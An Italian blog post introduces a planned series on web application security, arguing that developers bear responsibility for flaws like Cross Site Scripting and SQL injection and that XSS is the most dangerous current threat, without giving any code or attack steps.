Per quanto un sistemista possa essere bravo (skillato), si troverà tutti i giorni ad affrontare problemi legati alla sicurezza.
I Web Developers, oggi, giocano un ruolo fondamentale nello sviluppo dell'economia globale. Essi sono responsabili della sicurezza a livello, non solo applicativo, ma anche strutturale. Il loro scopo, non è solo quello di creare una serie di "pagine web".. il loro scopo è quello di creare un mondo. Un mondo, semplice, architetturalmente corretto e funzionante il quale possa permettere al business "di funzionare" e garantire la sicurezza dello stesso
Al giorno d'oggi, milioni di utenti (maleintenzionati compresi) possono accedere ad applicazioni / web servers direttamente da internet.. da qualsiasi parte del mondo. Termini come "Cross Site Scriptin", "Structured Query Language Injection" ed altre tecniche sono attacchi e fenomeni di cui essi stessi sono "direttamente" responsabili.
La sicurezza delle applicazioni web è un area complessa, con molte discipline da apprendere e capire. La figura qui sopra, mostra le aree principalmente legate alla sicurezza web.
Al giorno in cui si scrive questo articolo, la minaccia più grande che i sviluppatori web devono affrontare è Cross Site Scripting (XSS). Pur essendo una piccola sfaccettatura della Web Application Security, questa rappresenta la più pericolosa vulnerabilità attualmente in circolazione. Una singola variabile non verificata.. un semplice bug.. possono portare compromettere una intera sessione di navigazione. In termini reali questo si trasforma in :furto d'identità,informazioni personali e denaro (si avete letto bene).
In questo blog, ho pubblicato differenti advisory che hanno dimostrato quanto XSS sia frequente nello scenario web italiano. Ho così preso la decisione di postare una serie di articoli le quali dimostrino come e quanto può far male XSS. Molti dei contenuti che verranno pubblicati potranno essere "visti male" da molti personaggi.. specialmente quelli a cui appartengono le applicazioni vulnerabili citate.
Speriamo serva a qualcosa.
A presto!
